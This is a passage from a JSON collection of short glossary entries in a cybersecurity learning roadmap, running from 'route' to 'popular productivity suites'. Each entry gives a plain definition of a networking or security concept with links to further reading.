    "path": "src/data/roadmaps/cyber-security/content/route@xFuWk7M-Vctk_xb7bHbWs.md",
    "content": "# route\n\nThe `route` command is a network utility used to view and manipulate the IP routing table on Unix-like and Windows systems. It allows users to display the current routes that data packets take, as well as add, modify, or delete routes for network traffic. This command is often used in network troubleshooting and configuration to control how data flows between different networks and subnets. By specifying routes manually, administrators can define specific paths for network traffic, bypassing default routes and optimizing performance or security.\n\nVisit the following resources to learn more:\n\n- [@article@route command](https://www.man7.org/linux/man-pages/man8/route.8.html)\n- [@video@route command explained](https://www.youtube.com/watch?v=uOqBollh_x4)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/router@lwSFIbIX-xOZ0QK2sGFb1.md",
    "content": "# Router\n\nA router is a networking device that directs data packets between different networks, ensuring they reach their destination. It operates at the network layer (Layer 3) of the OSI model and forwards data based on the IP addresses of the source and destination. Routers are essential for connecting devices to the internet or linking multiple networks together. They maintain a routing table to decide the best path for data and can dynamically update routes using protocols like RIP, OSPF, or BGP. Routers also handle Network Address Translation (NAT), allowing multiple devices to share a single public IP address. Many modern routers offer Wi-Fi for wireless connectivity and include basic firewall security to protect the network from threats.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Router](https://www.cloudflare.com/en-gb/learning/network-layer/what-is-a-router/)\n- [@video@What is a router and How does it work?](https://www.youtube.com/watch?v=UIJzHLpG9bM)\n- [@video@Everything Routers do](https://youtu.be/AzXys5kxpAM?si=nEsCH6jG2Lj6Ua8N)\n- [@video@How Routers forward Packets?](https://youtu.be/Ep-x_6kggKA?si=II5xBPoXjYEjLvWX)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/s3@2jsTgT7k8MeaDtx6RJhOP.md",
    "content": "# S3\n\nAmazon Simple Storage Service (S3) is a scalable, object-based cloud storage service provided by AWS. It allows users to store and retrieve large amounts of data, such as files, backups, or media content, with high durability and availability. S3 is designed for flexibility, enabling users to access data from anywhere via the internet while offering security features like encryption and access controls. It is widely used for data storage, content distribution, disaster recovery, and big data analytics, providing cost-effective, scalable storage for a variety of applications.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon Web Services S3](https://docs.aws.amazon.com/AmazonS3/latest/userguide/Welcome.html)\n- [@official@Amazon Simple Storage Service Documentation](https://docs.aws.amazon.com/s3/)\n- [@video@Getting started with AWS S3](https://www.youtube.com/watch?v=e6w9LwZJFIA)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/saas@sVw5KVNxPEatBRKb2ZbS_.md",
    "content": "# SaaS\n\nSoftware as a Service (SaaS) is a cloud-based model where software applications are delivered to users over the internet, eliminating the need for local installation or maintenance. SaaS providers manage infrastructure, security, and updates, allowing users to access the software on a subscription basis from any device with an internet connection. This model offers scalability, reduced upfront costs, and easy integration with other cloud services, making it a popular choice for businesses looking for flexibility and efficiency in software deployment.\n\nVisit the following resources to learn more:\n\n- [@article@Software as a Service?](https://azure.microsoft.com/en-us/resources/cloud-computing-dictionary/what-is-saas)\n- [@video@What is SaaS?](https://www.youtube.com/watch?v=UEHdYNXiIUU)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/salting@jqWhR6oTyX6yolUBv71VC.md",
    "content": "# Salting\n\nSalting is a crucial concept within the realm of cryptography. It is a technique employed to enhance the security of passwords or equivalent sensitive data by adding an extra layer of protection to safeguard them against hacking attempts, such as brute-force attacks or dictionary attacks.\n\nVisit the following resources to learn more:\n\n- [@article@What is salting?](https://www.techtarget.com/searchsecurity/definition/salt)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/sandboxing@SLKwuLHHpC7D1FqrpPRAe.md",
    "content": "# Sandboxing\n\nSandboxing is a security technique where a program or code is isolated in a controlled environment, or \"sandbox,\" to prevent it from affecting other parts of the system. This isolation allows suspicious or untrusted code, such as software, scripts, or files, to be executed and analyzed safely without risking harm to the host system. Sandboxing is commonly used to detect malware or test potentially harmful applications in cybersecurity.\n\nVisit the following resources to learn more:\n\n- [@article@What is Sandboxing?](https://www.checkpoint.com/cyber-hub/threat-prevention/what-is-sandboxing/)\n- [@video@Sandboxing in under 4 minutes](https://www.youtube.com/watch?v=kn32PHG2wcU)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/sans-holiday-hack-challenge@WCeJrvWl837m1BIjuA1Mu.md",
    "content": "# SANS Holiday Hack Challenge\n\nThe SANS Holiday Hack Challenge is an annual cybersecurity event that offers participants the opportunity to solve a series of themed cybersecurity puzzles and challenges. Designed to engage both beginners and experienced professionals, the challenge covers a wide range of topics including network forensics, penetration testing, reverse engineering, and more. It provides a fun, gamified learning experience that encourages participants to enhance their skills while collaborating with the global cybersecurity community. The event often features real-world security scenarios, creative storytelling, and interactive, hands-on tasks.\n\nVisit the following resources to learn more:\n\n- [@official@SANS Holiday Hack](https://www.sans.org/mlp/holiday-hack-challenge-2023/)\n- [@video@Official SANS Holiday Hack Challenge Video](https://www.youtube.com/watch?v=zfhhLi8jZzI)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/security-skills-and-knowledge@_hYN0gEi9BL24nptEtXWU.md",
    "content": "# Security Skills and Knowledge\n\nCybersecurity professionals need a diverse skill set, beginning with **security fundamentals** like understanding CIA triad, risk management, and compliance standards. A firm grasp of **networking** concepts, including TCP/IP, firewalls, and intrusion detection systems, is essential. Expertise in **operating systems** (Windows, Linux, macOS) is crucial for identifying vulnerabilities and hardening systems. **Application security** knowledge helps in building secure software and mitigating common vulnerabilities. **Web security** skills are needed to protect web applications from attacks like XSS and SQL injection. Security testing techniques like penetration testing and vulnerability scanning are vital for identifying weaknesses. **Incident response and forensic analysis** skills are necessary for handling security breaches and investigating cybercrimes. **Cloud security** expertise is increasingly important for securing cloud-based infrastructure and applications. Finally, **soft skills** such as communication, problem-solving, and teamwork are critical for effective collaboration and incident management."
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/sftp@YEy6o-clTBKZp1yOkLwNb.md",
    "content": "# SFTP\n\nSFTP (SSH File Transfer Protocol) is a secure file transfer protocol that provides file access, transfer, and management over a reliable data stream. It runs over the SSH protocol, typically on port 22, ensuring encrypted file transfers. SFTP offers stronger security than traditional FTP by encrypting both commands and data in transit, preventing unauthorized interception. It supports features like resuming interrupted transfers, directory listings, and remote file system operations. SFTP is widely used for secure file transfers in various environments, from web hosting to enterprise data management, offering a more secure alternative to FTP while maintaining similar functionality. Its integration with SSH makes it a preferred choice for secure, authenticated file transfers in many network configurations.\n\nVisit the following resources to learn more:\n\n- [@article@What is SFTP?](https://www.precisely.com/glossary/sftp)\n- [@video@How to use SFTP Commands to Copy Files to/from a Server](https://www.youtube.com/watch?v=22lBJIfO9qQ&t=4s)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/shoulder-surfing@FD0bkmxNpPXiUB_NevEUf.md",
    "content": "# Shoulder Surfing\n\nShoulder surfing is a type of social engineering attack where an attacker directly observes someone entering sensitive information, such as passwords, PINs, or credit card details. This observation can happen in public places like ATMs, coffee shops, or even within an office environment. The attacker uses direct line of sight to steal the information without needing any technical tools or sophisticated hacking methods.\n\nVisit the following resources to learn more:\n\n- [@article@What is Shoulder Surfing, and How can you avoid it?](https://nordvpn.com/blog/shoulder-surfing/?srsltid=AfmBOorl5NPpW_Tnhas9gB2HiblorqwXyK0NJae7uaketrnDwbjJmiYV)\n- [@article@What is Shoulder Surfing?](https://www.mcafee.com/learn/what-is-shoulder-surfing/)\n- [@article@What is Shoulder Surfing? 9 ways to protect yourself](https://www.bigrock.in/blog/products/security/what-is-shoulder-surfing-9-ways-to-protect-yourself-from-shoulder-surfing/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/siem@c2kY3wZVFKZYxMARhLIwO.md",
    "content": "# SIEM\n\nSecurity Information and Event Management (SIEM) systems are tools that collect and analyze security logs and event data from various sources throughout an organization's IT infrastructure. This data is then correlated to identify potential security threats, vulnerabilities, and policy violations, providing security teams with a centralized view of their security posture and enabling them to respond to incidents more effectively.\n\nVisit the following resources to learn more:\n\n- [@article@Security 101: What is a SIEM? - Microsoft](https://www.microsoft.com/security/business/security-101/what-is-siem)\n- [@video@SIEM Explained - Professor Messer](https://www.youtube.com/watch?v=JEcETdy5WxU)\n- [@video@Wazuh | Open source SIEM](https://www.youtube.com/watch?v=3CaG2GI1kn0)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/sinkholes@oFgyQYL3Ws-l7B5AF-bTR.md",
    "content": "# Sinkholes\n\nA sinkhole, in the context of networking, is a server designed to attract and collect malicious traffic. It acts as a honeypot, diverting attackers away from legitimate systems and allowing security analysts to observe and analyze their activities. By examining the data captured by a sinkhole, security teams can gain valuable insights into attack patterns, malware signatures, and the origin of threats, ultimately improving overall security posture.\n\nVisit the following resources to learn more:\n\n- [@article@DNS Sinkholes: What is it and how to start using](https://www.threatintelligence.com/blog/dns-sinkhole)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/smime@9rmDvycXFcsGOq3v-_ziD.md",
    "content": "# S/MIME\n\nS/MIME (Secure/Multipurpose Internet Mail Extensions) is a widely used standard for public key encryption and signing of MIME data. It provides a way to send encrypted and digitally signed emails, ensuring the confidentiality, integrity, and authentication of electronic communications. This allows recipients to verify the sender's identity and be confident that the message hasn't been tampered with during transit.\n\nVisit the following resources to learn more:\n\n- [@article@S/MIME for message signing and encryption in Exchange Online](https://learn.microsoft.com/en-us/exchange/security-and-compliance/smime-exo/smime-exo)\n- [@video@S/MIME - Secure MIME protocol - Functions, Services](https://www.youtube.com/watch?v=0hzmoB7yYfw)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/smishing@d4U6Jq-CUB1nNN2OCFoum.md",
    "content": "# Smishing\n\nSmishing is a type of phishing attack that uses SMS (Short Message Service) or text messages to trick individuals into giving up sensitive information. Attackers send fraudulent text messages that appear to be from legitimate sources, such as banks, government agencies, or popular businesses. These messages often contain urgent requests, warnings, or enticing offers designed to lure recipients into clicking malicious links, calling fake phone numbers, or providing personal details.\n\nVisit the following resources to learn more:\n\n- [@article@What is smishing (SMS phishing)?](https://www.ibm.com/topics/smishing)\n- [@video@What is smishing? How phishing via text message works](https://www.youtube.com/watch?v=ZOZGQeG8avQ)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/soar@i0ulrA-GJrNhIVmzdWDrn.md",
    "content": "# Security Orchestration, Automation, and Response (SOAR)\n\nSOAR refers to a collection of software solutions and tools that allow organizations to gather security-related data from various sources, analyze it, and automate responses to security incidents. It integrates different security technologies to streamline incident response, reduce manual effort, and improve the overall efficiency of security operations. SOAR platforms typically include incident management, automation, and orchestration capabilities to help security teams quickly and effectively address threats.\n\nVisit the following resources to learn more:\n\n- [@article@What is SOAR?](https://www.paloaltonetworks.co.uk/cyberpedia/what-is-soar)\n- [@video@What is SOAR (Security, Orchestration, Automation & Response)](https://www.youtube.com/watch?v=k7ju95jDxFA)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/social-engineering@O1VceThdxRlgQ6DcGyY7Y.md",
    "content": "# Social Engineering\n\nSocial Engineering is a manipulation technique that exploits human psychology to gain access to confidential information, systems, or physical locations. Unlike traditional hacking methods that rely on technical skills, social engineering primarily focuses on deceiving or tricking individuals into revealing sensitive information or performing actions that compromise security.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Social Engineering?](https://www.cisco.com/c/en/us/products/security/what-is-social-engineering.html)\n- [@video@Social Engineering Explained](https://www.youtube.com/shorts/DdCSraNCxhs)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/spam-vs-spim@cbEMUyg_btIPjdx-XqIM5.md",
    "content": "# Spam vs. Spim\n\nSpam refers to unsolicited and often irrelevant messages sent over email, typically to a large number of recipients, with the purpose of advertising, phishing, spreading malware, or other malicious activities. Spam emails are usually sent by automated bots and are characterized by their bulk nature. Spim is a type of spam that specifically targets instant messaging (IM) platforms rather than email. Spim messages are unsolicited and typically used for advertising, phishing, or spreading malware. As instant messaging apps have grown in popularity, so too has the prevalence of Spim.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Spam?](https://www.proofpoint.com/us/threat-reference/spam)\n- [@article@What Is Spim?](https://www.brosix.com/blog/what-is-spim/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/spoofing@LteSouUtAj3JWWOzcjQPl.md",
    "content": "# Spoofing\n\nSpoofing is a form of deception where someone or something pretends to be another person, device, or entity to mislead or gain an advantage. In technology and cybersecurity, it often involves falsifying information like an IP address, email, or website to trick a user or system into believing it’s interacting with a legitimate source. Spoofing can be used to steal sensitive data, gain unauthorized access, or disrupt communication.\n\nVisit the following resources to learn more:\n\n- [@article@Definition and Explanation of Spoofing](https://www.kaspersky.com/resource-center/definitions/spoofing)\n- [@video@What is spoofing?](https://www.youtube.com/watch?v=jIS9XUC4TB4)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/sql-injection@P-Am25WJV8cFd_KsX7cdj.md",
    "content": "# What is SQL Injection?\n\n**SQL Injection** is a type of web application security vulnerability that allows an attacker to inject malicious SQL code into a web application's database, potentially leading to unauthorized data access, modification, or deletion.\n\nVisit the following resources to learn more:\n\n- [@article@PortSwigger - SQL Injection](https://portswigger.net/web-security/sql-injection)\n- [@video@SQL Injections are scary](https://www.youtube.com/watch?v=2OPVViV-GQk)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/srtp@_9lQSG6fn69Yd9rs1pQdL.md",
    "content": "# SRTP\n\nSecure Real-time Transport Protocol (SRTP) is a security profile for RTP, the Real-time Transport Protocol. It adds encryption, authentication, and integrity protection to RTP data, ensuring that audio and video streams transmitted over a network are confidential and haven't been tampered with during transit. It also protects against replay attacks.\n\nVisit the following resources to learn more:\n\n- [@article@SRTP (Secure RTP)](https://developer.mozilla.org/en-US/docs/Glossary/RTP)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/ssh@8Mog890Lj-gVBpWa05EzT.md",
    "content": "# SSH\n\nSSH (Secure Shell) is a cryptographic network protocol used for secure remote login and other secure network services over an unsecured network. It provides a secure channel over an unsecured network by using strong encryption to protect the connection against eavesdropping, tampering, and man-in-the-middle attacks. SSH is commonly used for remote command-line login, remote command execution, and secure file transfers. It typically runs on TCP port 22 and replaces older, less secure protocols like Telnet. SSH uses public-key cryptography for authentication and supports various authentication methods, including passwords and key-based authentication. It's a fundamental tool for system administrators, developers, and anyone requiring secure remote access to systems.\n\nVisit the following resources to learn more:\n\n- [@article@What is SSH? | Secure Shell (SSH) protocol](https://www.cloudflare.com/en-gb/learning/access-management/what-is-ssh/)\n- [@video@How does SSH work](https://www.youtube.com/watch?v=5JvLV2-ngCI)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/ssl--tls@LKK1A5-xawA7yCIAWHS8P.md",
    "content": "# SSL / TLS\n\nSecure Sockets Layer (SSL) and Transport Layer Security (TLS) are cryptographic protocols used to provide security in internet communications. These protocols encrypt the data that is transmitted over the web, so anyone who tries to intercept packets will not be able to interpret the data. One difference that is important to know is that SSL is now deprecated due to security flaws, and most modern web browsers no longer support it. But TLS is still secure and widely supported, so preferably use TLS.\n\nVisit the following resources to learn more:\n\n- [@article@What is SSL? | SSL definition](https://www.cloudflare.com/en-gb/learning/ssl/what-is-ssl/)\n- [@article@TLS Basics](https://www.internetsociety.org/deploy360/tls/basics/)\n- [@video@TLS vs SSL - What's the Difference?](https://www.youtube.com/watch?v=J7fI_jH7L84)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/ssl-and-tls-basics@dJ0NUsODFhk52W2zZxoPh.md",
    "content": "# SSL and TLS Basics\n\nSecure Sockets Layer (SSL) and Transport Layer Security (TLS) are cryptographic protocols that provide secure communication over a network. They work by encrypting data exchanged between a client and a server, ensuring confidentiality and integrity. SSL was the predecessor to TLS, and while SSL is now considered outdated and insecure, the term \"SSL\" is often still used interchangeably with \"TLS.\" The protocols establish a secure connection using digital certificates for authentication and encryption algorithms for data protection.\n\nVisit the following resources to learn more:\n\n- [@article@What’s the Difference Between SSL and TLS?](https://aws.amazon.com/compare/the-difference-between-ssl-and-tls/)\n- [@video@TLS vs SSL - What's the Difference?](https://www.youtube.com/watch?v=J7fI_jH7L84)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/ssl-vs-tls@6ILPXeUDDmmYRiA_gNTSr.md",
    "content": "# SSL vs TLS\n\nSSL (Secure Sockets Layer) and TLS (Transport Layer Security) are cryptographic protocols used to provide secure communication over a network. They work by encrypting data transmitted between a client (like a web browser) and a server, ensuring confidentiality and integrity. TLS is essentially the successor to SSL, offering enhanced security features and addressing vulnerabilities present in older versions of SSL. While SSL is largely deprecated, the terms are often used interchangeably, though technically, modern secure communication relies on TLS.\n\nVisit the following resources to learn more:\n\n- [@article@What’s the Difference Between SSL and TLS?](https://aws.amazon.com/compare/the-difference-between-ssl-and-tls/)\n- [@video@TLS vs SSL - What's the Difference?](https://www.youtube.com/watch?v=J7fI_jH7L84)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/sso@xL32OqDKm6O043TYgVV1r.md",
    "content": "# Single Sign-On (SSO)\n\nSingle Sign-On (SSO) lets a user access multiple applications and websites with just one set of credentials. Instead of needing to remember and enter different usernames and passwords for each service, a user authenticates once, and that authentication is then shared securely across various interconnected systems. This streamlines the login process and improves user experience.\n\nVisit the following resources to learn more:\n\n- [@article@What is SSO? | How single sign-on works](https://www.cloudflare.com/en-gb/learning/access-management/what-is-sso/)\n- [@video@What Is Single Sign-on (SSO)? How It Works](https://www.youtube.com/watch?v=O1cRJWYF-g4)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/stakeholders@lv6fI3WeJawuCbwKtMRIh.md",
    "content": "# Stakeholders\n\nStakeholders are individuals, groups, or organizations that have an interest in or are affected by a project, policy, or activity. They can range from internal teams and management to external customers, partners, and regulatory bodies. Understanding who these stakeholders are, their specific concerns, and their level of influence is crucial for effective communication and decision-making throughout the cybersecurity lifecycle.\n\nVisit the following resources to learn more:\n\n- [@course@TryHackMe room on Cyber Governance and regulation](https://tryhackme.com/r/room/cybergovernanceregulation)\n- [@official@NIST Publication on Engineering Trustworthy Secure Systems](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-160v1r1.pdf)\n- [@official@NIST Glossary](https://csrc.nist.gov/glossary/term/stakeholder)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/star@P0ZhAXd_H-mTOMr13Ag31.md",
    "content": "# Star\n\nA star network topology is a configuration where all devices (nodes) are connected directly to a central hub or switch. In this arrangement, each node has a dedicated point-to-point link to the central device, forming a star-like structure. This topology offers advantages such as easy installation and reconfiguration, centralized management, and fault isolation. If one connection fails, it doesn't affect others. However, the central hub is a single point of failure for the entire network. Star topologies are commonly used in local area networks (LANs) due to their reliability, scalability, and ease of maintenance, making them a popular choice in both small office and large enterprise environments.\n\nVisit the following resources to learn more:\n\n- [@article@Star Topology](https://www.computerhope.com/jargon/s/startopo.htm)\n- [@video@Star Topology](https://www.youtube.com/watch?v=EQ3rW22-Py0)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/subnet-mask@f-v8qtweWXFY_Ryo3oYUF.md",
    "content": "# subnet mask\n\nA subnet mask is a 32-bit number used in IP networking to divide an IP address into network and host portions. It determines which part of an IP address refers to the network and which part refers to the host. Subnet masks enable network administrators to create subnetworks, improving network efficiency and security by controlling traffic flow between subnets. Common subnet masks include 255.255.255.0 (for a /24 network) and 255.255.0.0 (for a /16 network). Subnetting helps in efficient IP address allocation, reduces broadcast traffic, and enhances network performance. Understanding subnet masks is crucial for network configuration, troubleshooting, and implementing effective network segmentation strategies.\n\nVisit the following resources to learn more:\n\n- [@article@What Is a Subnet Mask?](https://www.spiceworks.com/tech/networking/articles/what-is-subnet-mask/)\n- [@video@What is a subnet mask?](https://www.youtube.com/watch?v=s_Ntt6eTn94)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/switch@r9byGV8XuBPzoqj5ZPf2W.md",
    "content": "# Switch\n\nA switch is a network device that operates at the data link layer (Layer 2) of the OSI model, connecting multiple devices within a local area network (LAN). It uses MAC addresses to forward data packets between devices, creating separate collision domains for each port. Switches improve network efficiency by sending packets only to their intended destinations, reducing unnecessary traffic. They support full-duplex communication, allowing simultaneous data transmission in both directions. Modern switches often include advanced features like VLANs, port mirroring, and Quality of Service (QoS) management. Switches are fundamental to creating efficient, segmented networks and are crucial components in both small office and large enterprise network infrastructures.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Network Switch?](https://www.cloudflare.com/en-gb/learning/network-layer/what-is-a-network-switch/)\n- [@video@What is a Switch?](https://www.youtube.com/watch?v=9eH16Fxeb9o)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/syslogs@7oFwRkmoZom8exMDtMslX.md",
    "content": "# Syslogs\n\nSyslogs are standardized text-based logs that are generated by various devices and applications on a network. These logs contain information about system events, security alerts, and other relevant data, all formatted in a consistent manner. Syslog servers collect and centralize these logs, providing a single point for analysis and troubleshooting across diverse systems.\n\nVisit the following resources to learn more:\n\n- [@article@What is syslog?](https://www.solarwinds.com/resources/it-glossary/syslog)\n- [@video@Free CCNA | Syslog](https://www.youtube.com/watch?v=RaQPSKQ4J5A)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/tail@762Wf_Eh-3zq69CZZiIjR.md",
    "content": "# tail\n\nThe tail command is a Unix/Linux utility used to display the last part of a file. By default, it shows the last 10 lines of a specified file. It's particularly useful for viewing recent entries in log files, monitoring file changes in real-time, and quickly checking the end of large text files. The command can be customized to display a different number of lines, and with the -f (follow) option, it can continuously update to show new lines as they're added to the file. This makes tail invaluable for system administrators and developers for real-time log monitoring, troubleshooting, and observing ongoing processes or application outputs.\n\nVisit the following resources to learn more:\n\n- [@article@tail man page](https://man7.org/linux/man-pages/man1/tail.1.html)\n- [@video@Linux Tail Command](https://www.youtube.com/watch?v=7Y6Ho9JUxTE)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/tailgating@o-keJgF9hmifQ_hUD91iN.md",
    "content": "# Tailgating\n\nTailgating is the act of getting access to a restricted area by simply following an authorized person. This is a common social engineering technique used by attackers to gain physical access to a building or a restricted area. The attacker waits for an authorized person to open the door and then follows them inside. This technique is effective because it is based on trust and the assumption that the attacker is an authorized person.\n\nVisit the following resources to learn more:\n\n- [@article@Tailgating attacks](https://www.proofpoint.com/us/threat-reference/tailgating-attacks-cybersecurity)\n- [@video@Tailgating and Piggybacking - Social Engineering Tactics Explained](https://www.youtube.com/watch?v=4SpvulRcVQ0)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/tcpdump@y8GaUNpaCT1Ai88wPOk6d.md",
    "content": "# Tcpdump\n\nTcpdump is a command-line packet analyzer that captures and displays network traffic going through a system. It allows users to intercept and inspect TCP/IP packets, providing insights into network communication. By analyzing packet headers and payloads, users can diagnose network issues, monitor traffic patterns, and identify potential security threats.\n\nVisit the following resources to learn more:\n\n- [@article@tcpdump man page](https://www.tcpdump.org/manpages/tcpdump.1.html)\n- [@video@TCP Dump - What is it and how to use it?](https://www.youtube.com/watch?v=e45Kt1IYdCI)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/tracert@cSz9Qx3PGwmhq3SSKYKfg.md",
    "content": "# Tracert\n\nTracert (traceroute) is a command-line network diagnostic tool used to trace the route that a packet takes from your computer to a specified destination. It works by sending out a series of packets with increasing time-to-live (TTL) values. Each router along the path decrements the TTL, and when a packet's TTL reaches zero, the router sends back an ICMP \"time exceeded\" message. Tracert records these responses from each router, providing a list of hops and the round-trip time for each hop.\n\nVisit the following resources to learn more:\n\n- [@article@traceroute man page](https://linux.die.net/man/8/traceroute)\n- [@article@tracert](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tracert)\n- [@video@Traceroute (tracert) Explained](https://www.youtube.com/watch?v=up3bcBLZS74)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/tracert@jJtS0mgCYc0wbjuXssDRO.md",
    "content": "# Tracert\n\nTracert, short for traceroute, is a command-line network utility used to trace the route that packets take to reach a specific destination. It works by sending packets with incrementally increasing Time-To-Live (TTL) values. As each router along the path receives a packet, it decrements the TTL. When the TTL reaches zero, the router sends an ICMP \"Time Exceeded\" message back to the source. By analyzing these messages, tracert identifies each router (hop) in the path and measures the round-trip time (RTT) to each hop.\n\nVisit the following resources to learn more:\n\n- [@article@traceroute man page](https://linux.die.net/man/8/traceroute)\n- [@article@tracert](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tracert)\n- [@video@Traceroute (tracert) Explained](https://www.youtube.com/watch?v=up3bcBLZS74)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/troubleshooting@xeRWOX1fWQDLNLWMAFTEe.md",
    "content": "# Troubleshooting\n\nTroubleshooting is a systematic approach to problem-solving used to identify, diagnose, and resolve issues in complex systems, particularly in technology and engineering fields. It involves a step-by-step process of gathering information, identifying symptoms, formulating hypotheses, testing potential solutions, and implementing fixes. Effective troubleshooting requires analytical thinking, deep knowledge of the system in question, and often the use of diagnostic tools. In IT and network environments, common troubleshooting steps include checking physical connections, verifying configurations, analyzing logs, and isolating variables. The goal is to efficiently pinpoint the root cause of a problem and implement an appropriate solution, minimizing downtime and restoring normal operations as quickly as possible.\n\nVisit the following resources to learn more:\n\n- [@article@Problem Solve](https://www.techtarget.com/searchsecurity/info/problemsolve)\n- [@video@Steps for Network Troubleshooting](https://www.youtube.com/watch?v=1i3XdhC2ZAs)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/true-negative--true-positive@M6uwyD4ibguxytf1od-og.md",
    "content": "# True Positives and True Negatives\n\nIn the context of security assessments and testing, a true positive is when a security system correctly identifies a threat that is actually present. Conversely, a true negative occurs when the system correctly identifies that there is no threat when, in reality, no threat exists. These metrics are fundamental in evaluating the effectiveness and accuracy of security tools and protocols.\n\nVisit the following resources to learn more:\n\n- [@article@False Positives and False Negatives in Information Security](https://www.guardrails.io/blog/false-positives-and-false-negatives-in-information-security/)\n- [@video@False Positives and False Negatives](https://www.youtube.com/watch?v=bUNBzMnfHLw)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/tryhackme@kht-L7_v-DbglMYUHuchp.md",
    "content": "# TryHackMe\n\nTryHackMe is an online platform designed for cybersecurity training and learning through hands-on experience. It offers a wide range of virtual rooms and challenges covering various security topics, from basic to advanced levels. Users can access vulnerable machines, engage in capture-the-flag (CTF) style exercises, and learn practical skills in areas like penetration testing, web security, and network security. TryHackMe uses browser-based tools and virtual machines, making it accessible without requiring powerful hardware. The platform caters to beginners and experienced professionals alike, providing guided learning paths, real-world scenarios, and a supportive community. It's widely used for both individual skill development and corporate cybersecurity training.\n\nVisit the following resources to learn more:\n\n- [@official@TryHackMe](https://tryhackme.com/)\n- [@video@Start Your Cybersecurity Career with TryHackMe](https://www.youtube.com/watch?v=HPF8y_gDP7w)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/typo-squatting@0LeDwj_tMaXjQBBOUJ5CL.md",
    "content": "# Typosquatting\n\nTyposquatting is a form of cyberattack that exploits common typing errors made by users when entering website URLs into their browsers. Attackers create malicious websites with URLs that are very similar to legitimate ones, often differing by just a single letter, number, or symbol. When a user accidentally mistypes a URL, they may be redirected to the malicious site, where they can be subjected to phishing attacks, malware downloads, or other forms of cyber exploitation.\n\nVisit the following resources to learn more:\n\n- [@article@What is Typosquatting](https://www.mcafee.com/learn/what-is-typosquatting/#:~:text=Typosquatting%2C%20also%20known%20as%20URL,%E2%80%9CGoogle.com%E2%80%9D)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/understand-backups-and-resiliency@9asy3STW4oTYYHcUazaRj.md",
    "content": "# Backups and Resiliency\n\nBackups are copies of data taken and stored separately from the original data source, designed to be used to restore information in case of data loss events like hardware failure, accidental deletion, or cyberattacks. Resiliency, on the other hand, is the ability of a system or network to recover quickly from disruptions and maintain essential functions, even when faced with adverse conditions. A resilient system anticipates potential problems and is designed to adapt and withstand them, minimizing downtime and data loss.\n\nVisit the following resources to learn more:\n\n- [@article@Backup & Restore](https://aws.amazon.com/solutions/resilience/backup-restore/)\n- [@video@Why backup should be a part of your cyber resilience plan?](https://www.youtube.com/watch?v=S8BIkoHlU_0)\n- [@video@AWS re:Invent 2023 - Backup and disaster recovery strategies for increased resilience](https://www.youtube.com/watch?v=E073XISxrSU)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/understand-basics-of-forensics@7KLGFfco-hw7a62kXtS3d.md",
    "content": "# Digital Forensics\n\nDigital forensics is like being a detective for computers and other digital devices. When a cybercrime or security incident happens, digital forensics experts investigate the devices involved to find clues. They collect, preserve, and analyze data from these devices, such as emails, files, and system logs, to figure out what happened, who was responsible, and how they did it. The goal is to find digital evidence that can be used in legal proceedings or to improve security measures and prevent future incidents.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Digital Forensics (TryHackMe)](https://tryhackme.com/room/introdigitalforensics)\n- [@video@Digital Forensics](https://www.youtube.com/watch?v=UtDWApdO8Zk)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/understand-basics-of-popular-suites@_7RjH4Goi0x6Noy6za0rP.md",
    "content": "# Popular Productivity Suites\n\nProductivity suites are collections of software applications, usually centered around document creation, spreadsheets, and presentations. Some of the most widely used suites include Google Workspace (formerly G Suite), which is cloud-based and includes apps like Docs, Sheets, and Slides; Microsoft Office, a long-standing suite that includes Word, Excel, and PowerPoint; and LibreOffice, a free and open-source suite offering Writer, Calc, and Impress.\n\nVisit the following resources to learn more:\n\n- [@official@Microsoft Office](https://www.office.com/)\n- [@official@Google Workspace](https://workspace.google.com)\n- [@official@LibreOffice](https://www.libreoffice.org/)"
  },
  {
